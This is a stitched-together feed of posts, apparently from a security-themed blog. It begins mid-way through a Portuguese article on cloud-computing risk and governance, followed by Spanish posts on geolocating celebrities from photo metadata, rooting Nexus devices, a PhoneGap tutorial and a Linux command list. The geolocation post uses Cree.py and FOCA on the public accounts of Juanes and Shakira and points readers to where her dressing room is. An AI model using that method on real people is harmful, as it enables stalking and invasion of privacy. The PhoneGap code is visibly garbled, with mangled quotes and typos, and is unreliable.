• Resiliência — Os provedores do sistema de nuvem têm soluções espelhadas que podem ser utilizadas em um cenário de desastre, bem como no balanceamento de carga de tráfego. Se ocorrer um desastre natural que exija um local em uma área geográfica diferente ou apenas o tráfego pesado, os provedores de computação em nuvem afirmam ter resiliência e capacidade suficientes para garantir sustentabilidade em caso de um evento inesperado.

A premissa do sistema de nuvem é que com as partes terceirizadas do gerenciamento de informação e operações de TI, os funcionários da empresa estarão livres para melhorar os processos, aumentar a produtividade e a inovação, enquanto o provedor do sistema de nuvem trabalha com a atividade operacional de forma mais inteligente, mais rápida e mais barata. Supondo que seja este o caso, provavelmente serão necessárias alterações significativas nos processos de negócio existentes para aproveitar as oportunidades que os serviços de nuvem oferecem.

Os riscos e as questões de segurança relacionadas à computação em nuvem

Muitos dos riscos frequentemente associados à computação em nuvem não são novos e podem ser encontrados nas empresas de hoje. Bem planejadas, as atividades previstas sobre a gestão de riscos serão cruciais para assegurar que a informação seja disponibilizada e protegida simultaneamente. Talvez os processos comerciais e procedimentos que devem ser considerados com relação à segurança e gerentes de segurança da informação tenham que se ajustar às políticas e aos procedimentos da empresa para atender às necessidades do negócio. Dado o ambiente empresarial dinâmico e o foco na globalização, existem muito poucas empresas que não terceirizam parte de seus negócios. Participar de um relacionamento com um terceiro significa que o negócio não utiliza apenas os serviços e a tecnologia do provedor do sistema de nuvem, mas também precisa lidar com a forma como o fornecedor executa sua organização, a arquitetura
do provedor e a cultura e as políticas organizacionais do provedor. Alguns exemplos dos riscos da computação em nuvem para empresas que necessitam de gerenciamento incluem:

• As empresas precisam ser cuidadosas na escolha de um provedor. Reputação, história e sustentabilidade são fatores que devem ser considerados. A sustentabilidade é dos itens importantes para garantir que os serviços estejam disponíveis e que os dados possam ser monitorados.

• Muitas vezes, o provedor do sistema de nuvem assume a responsabilidade do tratamento da informação, que é uma parte crítica do negócio. A não realização dos níveis de serviços acordados pode comprometer não apenas a confidencialidade, mas também a disponibilidade, afetando severamente as operações comerciais.

• A natureza dinâmica da computação em nuvem pode acabar em confusão com relação às informações que realmente lhes dizem respeito. Quando a recuperação de informação é necessária, isso pode gerar atrasos.

• O acesso de terceiros às informações confidenciais cria um risco de comprometimento dessas informações. Na computação em nuvem, isso pode comprometer a proteção da propriedade intelectual (IP) e os segredos comerciais.

• As nuvens públicas permitem que os sistemas de alta disponibilidade sejam desenvolvidos em níveis de serviço muitas vezes impossíveis de serem criados em redes privadas, exceto a custos extraordinários. A desvantagem dessa disposição é a tendência de misturar os ativos de informação com os de outros clientes da nuvem, inclusive os concorrentes. De acordo com as leis e regulamentações de diferentes regiões, isso pode ser um desafio para as empresas. Neste momento, há pouco precedente jurídico em matéria de responsabilidade no sistema de nuvem. É imprescindível obter aconselhamento jurídico adequado para garantir um contrato que especifique as áreas onde o provedor do sistema de nuvem será responsável pelas
consequências decorrentes de algum tipo de problema em potencial.

• Devido à natureza dinâmica do sistema de nuvem, as informações podem não ser localizadas imediatamente em caso de desastres. Planos de continuidade de negócios e de recuperação de desastres devem ser bem documentados e testados. O provedor do serviço de nuvem deve compreender o papel que desempenha quanto aos procedimentos de backup, resposta a incidentes e recuperação. O tempo de recuperação (RTO, Recovery Time Objectives) deve ser indicado no contrato.

Estratégias para lidar com os riscos da computação em nuvem

Estes riscos, bem como outros que uma empresa pode identificar, devem ser gerenciados de forma eficaz. Recomenda-se o uso de um programa robusto de gerenciamento de riscos que seja flexível o suficiente para lidar continuamente com os riscos das informações. Em um ambiente onde a privacidade tornou-se fundamental para clientes empresariais, o acesso não autorizado aos dados na nuvem é uma preocupação significativa. Ao firmar acordo com um provedor de serviços de nuvem, a empresa deve fazer um inventário de seus ativos de informação e garantir que os dados sejam devidamente classificados e rotulados. Isso ajudará a determinar o que deve ser especificado na elaboração de um acordo de nível de serviço (SLA,
Service Level Agreement), de qualquer necessidade de criptografia de dados a serem transmitidos ou armazenados, além de controles adicionais de informações confidenciais ou de alto valor para a organização.

Assim como o vínculo que define o relacionamento entre a empresa e o provedor do sistema de nuvem, o SLA é uma das ferramentas mais eficazes que a empresa pode usar para garantir a proteção adequada das informações confiadas ao sistema de nuvem. O SLA será a ferramenta onde os clientes poderão especificar se os frameworks de controle serão utilizados e descrever a expectativa de uma auditoria externa de terceiros. Expectativas claras quanto ao manuseio, utilização, armazenamento e disponibilidade de informações devem ser descritas no SLA. Além disso, os requisitos para a continuidade dos negócios e a recuperação de desastres (discutido anteriormente) deverão ser comunicados no acordo.
A proteção das informações evoluirá como o resultado de um acordo SLA abrangente, apoiado em um processo de garantia igualmente forte, seguro e abrangente. A estruturação de um SLA completo e detalhado que inclui direitos específicos de auditoria ajudará a empresa no gerenciamento de suas informações, uma vez que elas saem da organização e são transportadas, armazenadas ou processadas no sistema de nuvem.

Problemas de alteração e administração relacionados à computação em nuvem

A direção estratégica do negócio e da tecnologia da informação em geral é o foco principal quando se considera o uso da computação em nuvem. Como as empresas procuram pelo sistema de nuvem para fornecer serviços de TI que têm sido tradicionalmente gerenciados internamente, será preciso aplicar algumas mudanças para ajudar a garantir que elas continuem cumprindo seus objetivos de desempenho, que suas tecnologias de fornecimento e de negócios sejam estrategicamente alinhadas e que os riscos sejam gerenciados. Garantir que a tecnologia da informação esteja alinhada com o negócio, que os sistemas estejam seguros e que os riscos sejam gerenciados é um desafio em qualquer ambiente e ainda mais complexo em um relacionamento terceirizado. As atividades típicas de administração, como a definição de metas, políticas e padrões de desenvolvimento, a definição de funções e responsabilidades, bem como a gestão dos riscos devem incluir considerações especiais quando o assunto é a tecnologia do sistema de nuvem e seus provedores.

Caso ainda não participe dos processos de governança corporativa ou do ciclo de vida de desenvolvimento de sistemas, a mudança para a computação em nuvem determina que o gerente ou diretor de segurança da informação (information security officer) passe a ser incluído nesses processos.

Tal como acontece com todas as alterações organizacionais, espera-se que alguns ajustes sejam aplicados na maneira como os processos de negócio são tratados. Os processos de negócio, assim como o processamento de dados, o desenvolvimento e a recuperação de informações são exemplos potenciais dessas áreas de alteração. Além disso, será necessário rever os processos que detalham o modo como as informações são armazenadas, arquivadas e copiadas para fins de backup. O sistema de nuvem apresenta muitas situações exclusivas para as empresas enfrentarem. Um dos maiores problemas é que o pessoal das unidades de negócio, que antes era obrigado a passar pela área de TI, agora pode ignorá-la e receber os serviços diretamente do sistema de nuvem. Portanto, é primordial que as políticas de segurança da informação utilizem os serviços do sistema de nuvem.

Considerações sobre a qualidade na computação em nuvem

Quando confrontados com a mudança de paradigma e a natureza dos serviços prestados através de computação em nuvem, existem muitos desafios para os fornecedores de qualidade. O que pode ser feito para melhorar os recursos do profissional de qualidade com o objetivo de fornecer aos usuários diretos e indiretos da computação em nuvem mais confiança no software e nos serviços de infraestrutura que compõem o sistema de nuvem? Algumas das principais questões sobre qualidade que devem ser abordadas são:

• Transparência — Os provedores de serviços devem demonstrar a existência de controles de segurança eficazes e robustos, assegurando aos clientes que seus dados estão devidamente protegidos contra o acesso não autorizado, a alteração e a destruição dos mesmos. As questões mais importantes que devem ser decididas são as seguintes: que nível de transparência é suficiente? O que é preciso para ser transparente? A transparência pode ser maléfica? As principais áreas onde a transparência do fornecedor é importante incluem: quais funcionários (do provedor) têm acesso às informações dos clientes? Há segregação de funções entre os funcionários do provedor de manutenção? Como as diferentes informações dos clientes são segregadas? Quais são os controles responsáveis por evitar, detectar e reagir às violações?

• Privacidade — Com a preocupação crescente com a privacidade em nível mundial, torna-se imperativo aos provedores de serviço de computação em nuvem provar aos clientes, existentes e potenciais, que os controles de privacidade estão em vigor e demonstrar sua real capacidade para evitar, detectar e reagir às violações em tempo hábil. A informação e a geração de relatórios das linhas de comunicação precisam estar em perfeito funcionamento e devem constar em contrato antes mesmo do início dos serviços. Tais canais de comunicação devem ser testados periodicamente durante as operações.

• Conformidade — A maioria das organizações atualmente deve cumprir uma série de leis, regulamentações e normas. Há preocupações com a computação em nuvem pelo fato de que os dados podem não estar armazenados em um único lugar e poderiam não ser recuperados facilmente. É essencial garantir que, caso os dados sejam exigidos pelas autoridades, esse procedimento possa ser cumprido sem comprometer outras informações. As auditorias realizadas pelas próprias autoridades regulamentadoras, padronizadoras e
legalizadoras demonstram que pode haver muitos excessos em tais apreensões. O uso dos serviços do sistema de nuvem não oferece garantias de que uma empresa poderá obter suas informações quando necessário, e alguns provedores ainda se reservam o direito de reter as informações das autoridades.

• Fluxo de informações além-fronteira — Quando a informação pode ser armazenada em qualquer lugar no sistema de nuvem, a localização física da informação pode se transformar em um problema. A localização física determina a jurisdição e a obrigação legal. Asleis que regem as informações pessoalmente identificáveis (PII, personally identifiable information) de um determinado país variam muito. O que é permitido em um país pode ser uma violação em outro.

• Certificação — Os provedores de serviços de computação em nuvem deverão fornecer a seus clientes a garantia de que estão agindo de forma correta. A garantia independente das auditorias de terceiros e/ou dos relatórios de auditoria dos serviços é de suma importância em qualquer programa de garantia.

Utilizar padrões e frameworks ajudará as empresas a obterem mais qualidade com relação à segurança e aos controles internos do fornecedor da computação em nuvem. No momento da formalização por escrito, não há padrões específicos disponíveis publicamente para o paradigma da computação em nuvem. Entretanto, as normas existentes devem ser consultadas para abordar as áreas relevantes e as empresas devem considerá-las para ajustar seus frameworks de controle já existentes. A computação em nuvem representa uma oportunidade de remodelar a segurança e os controles em TI.

Sem dúvida, muitas empresas aproveitam essa oportunidade para melhorar a eficiência e a segurança interna de seu portfólio de TI.

Conclusão

Enquanto a computação em nuvem está, certamente, pronta para proporcionar muitos benefícios, os profissionais de segurança de informação devem conduzir as análises de impacto dos negócios, assim como as avaliações de risco devem indicar aos líderes sobre riscos potenciais para a empresa. As atividades da gestão de riscos devem ser gerenciadas ao longo do ciclo de vida das informações e os riscos devem ser reavaliados periodicamente ou em caso de alterações.

As empresas que tendem a considerar o uso do sistema de nuvem em seus ambientes devem calcular a economia de custos que este sistema pode oferecer e a quais riscos adicionais está sujeito. Uma vez calculada a economia de custos e identificados os riscos, as empresas terão uma melhor compreensão sobre como podem aproveitar os serviços de nuvem. A empresa deve contar com profissionais da área jurídica, de segurança e de qualidade para garantir que os níveis adequados de segurança e privacidade sejam alcançados. A opção pela nuvem representa uma mudança importante na forma como os recursos de computação serão utilizados e, como tal, será uma importante iniciativa de governança nas organizações em que for adotada, exigindo o envolvimento de um amplo grupo de interessados.

Recursos adicionais relacionados à computação em nuvem: www.isaca.org/cloudcomputingresources

Cómo localizar usuarios de twitter y flickr a través de sus fotos

2013-01-26T01:22:00.001+01:00

Existe una herramienta que permite descargar las fotos publicadas en twitter por un usuario automáticamente y que también podría ayudar en esta tarea, se llama Twitter Image Downloader, esta escrita en .net y es de código abierto, esta herramienta nos facilita la vida al bajar las imágenes publicadas en los últimos 150 tweets de una cuenta (por limitaciones de la api en twitter) para luego extraer sus meta datos y conseguir información que nos ayude a localizar el usuario de twitter en un momento determinado.

Ya que algunos han experimentado problemas a la hora de usar cree.py, aquí otra alternativa que junto a un visor EXIF como Exif Viewer, Jeffrey’s Exif viewer o la misma FOCA, te ayudará en la extracción de información sobre las fotos publicadas por un usuario en twitter, con el añadido de ser open source y poder modificar la herramienta para que adaptarla a nuestras necesidades especificas.

También les cuento que de momento la herramienta esta teniendo problemas para autenticarse ante twitter, por lo que se recomienda seguir los pasos sugeridos por el autor de la misma en este enlace.

La geolocalización esta en auge, todos quieren saber donde están sus amigos y gustosos dan su información en sitios como Foursquare, DiOui o Facebook Places para no estar fuera de la “moda”, pero… ¿sabes quien ve realmente esta información?, muchas veces quienes publican estos datos en la red, no son conscientes de las consecuencias que esto puede acarrear.

Secuestradores, Violadores, Ladrones y demás delincuentes ya hacen uso de las nuevas tecnologías y la información que publicas en internet, para llevar a cabo sus delitos, como en el famoso caso de Lisa Montgomery; por eso debes ser consciente que la información que publicas en la red la puede ver CUALQUIER PERSONA y te recomendamos seguir los consejos que constantemente ofrecemos en nuestra comunidad, para estar un poco mas seguros en la red.

Esta información es especialmente sensible cuando quien la publica, no es consciente que lo está haciendo, como es el caso de las fotos en cuyo interior (sus metadatos) se encuentra almacenada la ubicación GPS de donde fue tomada, una característica adoptada cada vez en mas cámaras, especialmente las integradas a teléfonos celulares inteligentes.

Gracias a El Maligno, me entero que Yiannis Kakavas ha desarrollado una herramienta llamada Cree.py, que automatiza el proceso de extracción y localización de la información GPS publicada en las fotos por un usuario de Twitter o Flickr, dejándola a la mano de cualquier persona.

La herramienta programada en Python y de código abierto, es muy fácil de utilizar, cuenta con versiones para Windows, GNU Linux y si resolvemos unas cuentas dependencias, podemos hacerla correr en Mac OS X.

Para este articulo analizaremos 2 de los famosos colombianos, que mas publican fotografías por Twitter…. @juanes y @Shakira

Lo primero que hacemos es abrir la herramienta, escribir la cuenta de Twitter o Flickr que queremos analizar (podemos usar un buscador también) y después presionar “Geolocate Targe”, esperamos unos minutos mientras se procesa la información…. obteniendo un mapa como el siguiente, donde podemos ver los puntos geolocalizados de las fotos obtenidas desde el perfil publico de @juanes

Para confirmar la información almacenada analizaremos las fotos descargadas por el Cree.py, con la FOCA, herramienta que permite analizar metadatos a imágenes y documentos.

Fotos bastante personales de @Juanes con su esposa Karen Martínez mientras estaban de viaje por Londres.

La ubicación de la oficina donde posiblemente produzcan los discos del artista

Haciendo arreglos a las canciones o las pistas…

Fotos del parque que se observa claramente en Creppy

Segunda foto del Hyde Park

Como podemos ver no es poca la información que cualquier persona puede obtener de la cuenta publica de Juanes, ¿los paparazzi sabrán de esto?, seguramente les sería de mucha utilidad….

Ahora pasamos a otra de nuestras celebridades… @shakira quien tampoco sabe que al publicar fotografías por Twitter, también esta publicando su ubicación, para ello seguimos el mismo procedimiento que con @juanes, buscamos su cuenta oficial, damos click en el botón “Geolocate Target” y esperamos que Cree.py haga su trabajo…

Después de esperar un poco, podemos ver algunas locaciones como el Coca Cola Park en South Africa.

Algunas direcciones en New York…

Y para corroborar el trabajo de cree.py de nuevo pasamos la FOCA a todas las fotos, logrando reconocer algunas de ellas.

Shakira con su novio de turno…

Foto del escenario antes de la presentación…

Ubicación de su camerino… ya sabes por si quieres darle un saludo…

En un late night show…

Algunos apuntes poco interesantes… ¿o no?

Detrás del telón…

En el escenario..
Como pueden ver obtener la ubicación de los famosos no es nada complicado, pero es igual de fácil obtener la tuya; Por eso es tan importante que sigas los consejos que constantemente ofrecemos en nuestra comunidad, para estar un poco mas seguros en la red y seas mas cuidadoso con tu información.

Fuente: DragonJar.

Root en un Galaxy Nexus, Nexus 4, Nexus 7 y Nexus 10 desde Ubuntu

2013-01-26T00:52:00.004+01:00

Introducción

Entiendo que haya características que no estén disponibles para el usuario habitual de una aplicación o dispositivo, por aquello de dar una “experiencia controlada”, pero no termino de entender porque tienen que existir tantas características bloqueadas, ni por que es tan “complicado” en ocasiones sortear estos bloqueos. Cuando adquiero un chisme quiero sacar el máximo partido del mismo.

Para los dispositivos Nexus, existe una herramienta que puedes ejecutar tanto en Linux, como en MacOSX, como en Windows y que te permitirá con muy pocos pasos “root-earlos”, y poder sacar todo el partido.
Vamos a ello…

Root-eando, root-eando

Una advertencia: si nunca has “root-eado” tu Android, informarte que vas a perder toda la configuración, información, aplicaciones, que tengas instaladas, y tendrás que empezar de nuevo. Así que ojo.
Antes de nada tienes que descargar las herramientas necesarias para ello, que es básicamente “adb” (android debuge bridge), y que lo puedes instalar desde un repositorio creado desde WebUpd8, y que te permitirá hacer los pasos iniciales para realizar el “root-eo”.

Instalar adb

En el caso de Natty, Oneiric, Precise o Quantal puedes instalarlo fácilmente con solo añadir el siguiente repositorio, actualizar e instalar:

sudo add-apt-repository ppa:nilarimogard/webupd8 && sudo apt-get update && sudo apt-get install android-tools-adb android-tools-fastboot Descargar el archivo de root-eo

Lo primero es averiguar el nombre clave del modelo de tu dispositivo. Esto lo puedes hacer fácilmente utilizando Google Maps, solo tienes que acceder a Google Maps > Ajustes > Acerca de, y en la sección “Dispositivo” verás el nombre clave, por ejemplo en el caso de la imagen inferior verás que es “yakju”Ahora seleccionas el archivo correspondiente a tu dispositivo lo descargas y lo descomprimes en un directorio:

El proceso de “root-eo”

Los pasos son los siguientes:

Apaga tu dispositivo
Inicia pulsando de forma simultánea la tecla Encendido + la tecla de bajar volumen, esto en el caso de la Nexus 7, en el caso del Samsung Galaxy Nexus, tienes que pulsar de forma simultánea la tecla Encendido + bajar volumen + subir volumen. Supongo que en otros dispositivos será distinto. Al hacer esto tienes que ver esta imagen:

Ahora tienes que averiguar el fabricante y modelo desde la línea USB, para ello, tienes que ejecutar el siguiente comando, tal y como hicimos en el artículo “Acceder al terminal de tu android desde Ubuntu“:

lsub

esto arrojará algo como:

Bus 001 Device 021: ID 18d1:4e40 Google Inc. Bus 001 Device 002: ID 058f:6362 Alcor Micro Corp. Flash Card Reader/Writer Bus 008 Device 002: ID 046d:c52b Logitech, Inc. Unifying Receiver Bus 008 Device 003: ID 050d:0084 Belkin Components F8T003v2 Bluetooth Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 008 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

Ahora tienes que crear el siguiente archivo “/etc/udev/rules.d/51-android.rules”, que lo puedes hacer directamente en el terminal, en modo administrador:

sudo nano /etc/udev/rules.d/51-android.rules

Y añadir la siguiente línea a partir de los datos extraídos del listado de dispositivos usb (lsub) que hemos visto antes. Te tienes que fijar en la primera línea. Los parámetros en mi caso son “18d1″ par el vendedor y “4e40″ para el modelo. El resto de parámetros tienes que dejar los mismos que verás en la siguiente línea

SUBSYSTEM=="usb", SYSFS{idVendor}=="18d1", ATTR{idProduct}=="4e40", MODE="0666", OWNER="atareao", GROUP="atareao"

Una vez añadido esto, solo tienes que reiniciar el servicio, ejecutando el siguiente comando:

sudo service udev restart

Da permisos de ejecución al archivo “fastboot-linux”, con el siguiente comando:

chmod +x fastboot-linux

Ahora ya puedes ir al directorio donde has descargado y descomprimido el archivo, y empezar con el “root-eo”. Para ello, solo tienes que ejecutar el siguiente comando

./fastboot-linux
Con esto ya está todo, solo tienes que esperar unos minutos y ya habrás “root-eado” tu dispositivo Nexus. Y verás un “Androide” rojo.
gracias BladeH

Aplicaciones Android con PhoneGap

2013-01-17T01:10:00.000+01:00

Hola gente vaga :) ... que va ! ,es sólo un decir muchachos porque me imagino que muchos de ustedes que están leyendo estas líneas es porque les interesa el saber un poco más, están investigando y dándole un buen uso al internet!.

Con PhoneGap no tendremos limitaciones de procesamientos de datos pudiendo ser en el servidor como en el terminal. En función a esto les dejaré algunos ejemplos que con sinceridad quizás mi fuerte no es el desarrollo de software pero es bueno saber de todo un poco ,no creen . Lo siguiente es una app básica que posee un formulario de entrada que el usuario puede utilizar generando una lista con los datos introducidos, para eso copia el siguiente código en el fichero Index:

###################################CÓDIGO##########################################
<html>
<head>
<title> PhoneGap-Workshop
</title>

<style>
   body {
   background: white;
   }
   div#main{
   background: #ccc;
   border: black 1px solid;
   height:80%;
   padding:15%
   width:80%;
   -webkit-border-radius: 10px ;
   }
</style>

<meta name=>>viewport>>content=>>width=device-width,initialscale=0>>></meta>
</head>
<body>
<div id=>>main>>>
    <h1>Ejemplo de Almacenamiento local "Destroyer"</h1>
   <form id=>>Formular>>>
    <input type=>>text>>> id=>>eingabeName>>placeholder =>>Tu_entrada>>/>
    <button id=>>submitEintrag>>Añadir a la lista</button>28 <br>
   </form>
</div>
</body>
</html>
#####################################################################################

Lo siguiente que necesitaremos es la función script el cual tomará la entrada, lo insertará en la posición deseada y después de procesar los datos vacie la entrada:

###################################CÓDIGO##########################################
#Validar la entrada
<script>
document.addEventListener(<<DOMContentLoaded>>, function() {
var ListaFormulario= document.getElementById(ListaFormulario' );
var CampoFormulario= document.getElementById(NombreFormulario' );
document.getElementById(<<Formulario>>).
addEventListener(<<submit>>,function (evt) {
evt.preventDefault();
var nuevaEntrada= CampoFormulario.value;
var nuevaListadeEntrada= document.createElement(li');
nuevalistadeEntrada.innerHTML= nuevaEntrada;
ListaFormulario.AppendChild(nuevaListadeEntrada);
CampoFormulario.value=<<>>;
return false;
}, false);
});
</script>
#####################################################################################

Declaramos una lista en la prte inferior del formulario, donde se iran añadiendo las entradas, por lo que usamos la etiqueta <ul>:

<ul id=>>ListaFormulario>>></ul>

Cabe acotar señores que que la función añade las entradas a la lista pero no utiliza ningún almacenamiento permanente para guardar los cambios(para eso utilizaremos API HTML LocalStorage)

Para integrar el video destroyer.mp4 en tu app , tuiliza este código:

var videoTag= '<video id= "VideoDestroyer" width= "240" height= "120"' "autobuffer src=>>destroyer.mp4>>controls> </video>";

Con el atributo controls establecemos las funciones de control típicas , y con el Framework XUI se maneja el inicio y la visualización del video

###################################CÓDIGO##########################################

function showAndPlayVideo() {

if ( !x$("VideoDestroyer")

.legth){

x$("#noVideo").inner

(videoTag);

x$("#VideoDestroyer")[0].

play();

x$("#VideoDestroyer").on("clic k" ,function () {

this.pause();

}).on("pause" , function () {

x$(this).remove();

});

}}
#####################################################################################

Existe otro elemento que les sera de mucho interés, el canvas el cual hace posible la exhibición de objetos gráficos, animaciones, manipular imágenes y mucho más. HTML 5 se apoya de DOM para poder reproducir las animaciones que a su vez se apoya en JavaScript.

Por el momento les voy dejando alguito, la verdad ando algo cansado ....mañana les dejaré muchos más ejemplos....

Nota: si te considera un buen desarrollador o conocedor de las diversas técnicas de hacking , entonces te digo que Peroma Project es lo que buscas... si estas interesado en formar un grupo de investigación , o aprender nuevas técnicas ponte en contacto con nosotros...porque amamos el Código libre y porque el conocimiento se comparte ....

Dominando el Terminal..Comandos para GNU/Linux

2013-01-15T15:54:00.000+01:00

Muchas veces estamos en nuestra distro GNU/Linux y queremos instalar algo o modificar cierta configuración del sistema pero no conocemos o no nos acordamos los comandos de la terminal como para hacerlo, ya que siempre es la única forma (y la mejor diría yo) de hacerlo.

Es por eso que les traemos una lista con los comandos mas conocidos y aquellos a los que tenemos que recordar leyendo un cuaderno.
Sabemos que la mejor forma de aprender es practicar, asi que es por eso que les sugerimos que si son usuarios de GNU/Linux traten de usar la consola lo mas que puedan para que puedan entender a fondo como es su sistema y mas que nada, como funciona.

Le dejamos con la lista de comandos mencionada:

Información Del Sistema

arch: mostrar la arquitectura de la máquina (1).
uname -m: mostrar la arquitectura de la máquina (2).
uname -r: mostrar la versión del kernel usado.
dmidecode -q: mostrar los componentes (hardware) del sistema.
hdparm -i /dev/hda: mostrar las características de un disco duro.
hdparm -tT /dev/sda: realizar prueba de lectura en un disco duro.
cat /proc/cpuinfo: mostrar información de la CPU.
cat /proc/interrupts: mostrar las interrupciones.
cat /proc/meminfo: verificar el uso de memoria.
cat /proc/swaps: mostrar ficheros swap.
cat /proc/version: mostrar la versión del kernel.
cat /proc/net/dev: mostrar adaptadores de red y estadísticas.
cat /proc/mounts: mostrar el sistema de ficheros montado.
lspci -tv: mostrar los dispositivos PCI.
lsusb -tv: mostrar los dispositivos USB.
date: mostrar la fecha del sistema.
cal 2011: mostrar el almanaque de 2011.
cal 07 2011: mostrar el almanaque para el mes julio de 2011.
date 041217002011.00: colocar (declarar, ajustar) fecha y hora.
clock -w: guardar los cambios de fecha en la BIOS.

Apagar (Reiniciar Sistema o Cerrar Sesión)

shutdown -h now: apagar el sistema (1).
init 0: apagar el sistema (2).
telinit 0: apagar el sistema (3).
halt: apagar el sistema (4).
shutdown -h hours: minutes &: apagado planificado del sistema.
shutdown -c: cancelar un apagado planificado del sistema.
shutdown -r now: reiniciar (1).
reboot: reiniciar (2).
logout: cerrar sesión.

Archivos y Directorios

cd /home: Entrar en el directorio “home”.
cd ..: Retroceder un nivel.
cd ../..: Retroceder 2 niveles.
cd: Ir al directorio raíz.
cd ~user1: Ir al directorio user1.
cd -: Ir (regresar) al directorio anterior.
pwd: Mostrar el camino del directorio de trabajo.
ls: Ver los ficheros de un directorio.
ls -F: Ver los ficheros de un directorio.
ls -l: Mostrar los detalles de ficheros y carpetas de un directorio.
ls -a: Mostrar los ficheros ocultos.
ls *[0-9]*: mostrar los ficheros y carpetas que contienen números.
tree: mostrar los ficheros y carpetas en forma de árbol comenzando por la raíz.(1)
lstree: mostrar los ficheros y carpetas en forma de árbol comenzando por la raíz.(2)
mkdir dir1: crear una carpeta o directorio con nombre ‘dir1′.
mkdir dir1 dir2: crear dos carpetas o directorios simultáneamente (Crear dos directorios a la vez).
mkdir -p /tmp/dir1/dir2: crear un árbol de directorios.
rm -f file1: borrar el fichero llamado ‘file1′.
rmdir dir1: borrar la carpeta llamada ‘dir1′.
rm -rf dir1: eliminar una carpeta llamada ‘dir1′ con su contenido de forma recursiva. (Si lo borro recursivo estoy diciendo que es con su contenido).
rm -rf dir1 dir2: borrar dos carpetas (directorios) con su contenido de forma recursiva.
mv dir1 new_dir: renombrar o mover un fichero o carpeta (directorio).
cp file1: copiar un fichero.
cp file1 file2: copiar dos ficheros al unísono.
cp dir /* .: copiar todos los ficheros de un directorio dentro del directorio de trabajo actual.
cp -a /tmp/dir1 .: copiar un directorio dentro del directorio actual de trabajo.
cp -a dir1: copiar un directorio.
cp -a dir1 dir2: copiar dos directorio al unísono.
ln -s file1 lnk1: crear un enlace simbólico al fichero o directorio.
ln file1 lnk1: crear un enlace físico al fichero o directorio.
touch -t 0712250000 file1: modificar el tiempo real (tiempo de creación) de un fichero o directorio.
file file1: salida (volcado en pantalla) del tipo mime de un fichero texto.
iconv -l: listas de cifrados conocidos.
iconv -f fromEncoding -t toEncoding inputFile > outputFile: crea una nueva forma del fichero de entrada asumiendo que está codificado en fromEncoding y convirtiéndolo a ToEncoding.
find . -maxdepth 1 -name *.jpg -print -exec convert ”{}” -resize 80×60 “thumbs/{}” ;: agrupar ficheros redimensionados en el directorio actual y enviarlos a directorios en vistas de miniaturas (requiere convertir desde ImagemagicK).

Encontrar archivos

find / -name file1: buscar fichero y directorio a partir de la raíz del sistema.
find / -user user1: buscar ficheros y directorios pertenecientes al usuario ‘user1′.
find /home/user1 -name *.bin: buscar ficheros con extensión ‘. bin’ dentro del directorio ‘/ home/user1′.
find /usr/bin -type f -atime +100: buscar ficheros binarios no usados en los últimos 100 días.
find /usr/bin -type f -mtime -10: buscar ficheros creados o cambiados dentro de los últimos 10 días.
find / -name *.rpm -exec chmod 755 ‘{}’ ;: buscar ficheros con extensión ‘.rpm’ y modificar permisos.
find / -xdev -name *.rpm: Buscar ficheros con extensión ‘.rpm’ ignorando los dispositivos removibles como cdrom, pen-drive, etc.…
locate *.ps: encuentra ficheros con extensión ‘.ps’ ejecutados primeramente con el command ‘updatedb’.
whereis halt: mostrar la ubicación de un fichero binario, de ayuda o fuente. En este caso pregunta dónde está el comando ‘halt’.
which halt: mostrar la senda completa (el camino completo) a un binario / ejecutable.

Montando un sistema de ficheros

mount /dev/hda2 /mnt/hda2: montar un disco llamado hda2. Verifique primero la existencia del directorio ‘/ mnt/hda2′; si no está, debe crearlo.
umount /dev/hda2: desmontar un disco llamado hda2. Salir primero desde el punto ‘/ mnt/hda2.
fuser -km /mnt/hda2: forzar el desmontaje cuando el dispositivo está ocupado.
umount -n /mnt/hda2: correr el desmontaje sin leer el fichero /etc/mtab. Útil cuando el fichero es de solo lectura o el disco duro está lleno.
mount /dev/fd0 /mnt/floppy: montar un disco flexible (floppy).
mount /dev/cdrom /mnt/cdrom: montar un cdrom / dvdrom.
mount /dev/hdc /mnt/cdrecorder: montar un cd regrabable o un dvdrom.
mount /dev/hdb /mnt/cdrecorder: montar un cd regrabable / dvdrom (un dvd).
mount -o loop file.iso /mnt/cdrom: montar un fichero o una imagen iso.
mount -t vfat /dev/hda5 /mnt/hda5: montar un sistema de ficheros FAT32.
mount /dev/sda1 /mnt/usbdisk: montar un usb pen-drive o una memoria (sin especificar el tipo de sistema de ficheros).

Espacio de Disco

df -h: mostrar una lista de las particiones montadas.
ls -lSr |more: mostrar el tamaño de los ficheros y directorios ordenados por tamaño.
du -sh dir1: Estimar el espacio usado por el directorio ‘dir1′.
du -sk * | sort -rn: mostrar el tamaño de los ficheros y directorios ordenados por tamaño.
rpm -q -a –qf ‘%10{SIZE}t%{NAME}n’ | sort -k1,1n: mostrar el espacio usado por los paquetes rpm instalados organizados por tamaño (Fedora, Redhat y otros).
dpkg-query -W -f=’${Installed-Size;10}t${Package}n’ | sort -k1,1n: mostrar el espacio usado por los paquetes instalados, organizados por tamaño (Ubuntu, Debian y otros).

Usuarios y Grupos

groupadd nombre_del_grupo: crear un nuevo grupo.
groupdel nombre_del_grupo: borrar un grupo.
groupmod -n nuevo_nombre_del_grupo viejo_nombre_del_grupo: renombrar un grupo.
useradd -c “Name Surname ” -g admin -d /home/user1 -s /bin/bash user1: Crear un nuevo usuario perteneciente al grupo “admin”.
useradd user1: crear un nuevo usuario.
userdel -r user1: borrar un usuario (‘-r’ elimina el directorio Home).
usermod -c “User FTP” -g system -d /ftp/user1 -s /bin/nologin user1: cambiar los atributos del usuario.
passwd: cambiar contraseña.
passwd user1: cambiar la contraseña de un usuario (solamente por root).
chage -E 2011-12-31 user1: colocar un plazo para la contraseña del usuario. En este caso dice que la clave expira el 31 de diciembre de 2011.
pwck: chequear la sintaxis correcta el formato de fichero de ‘/etc/passwd’ y la existencia de usuarios.
grpck: chequear la sintaxis correcta y el formato del fichero ‘/etc/group’ y la existencia de grupos.
newgrp group_name: registra a un nuevo grupo para cambiar el grupo predeterminado de los ficheros creados recientemente.

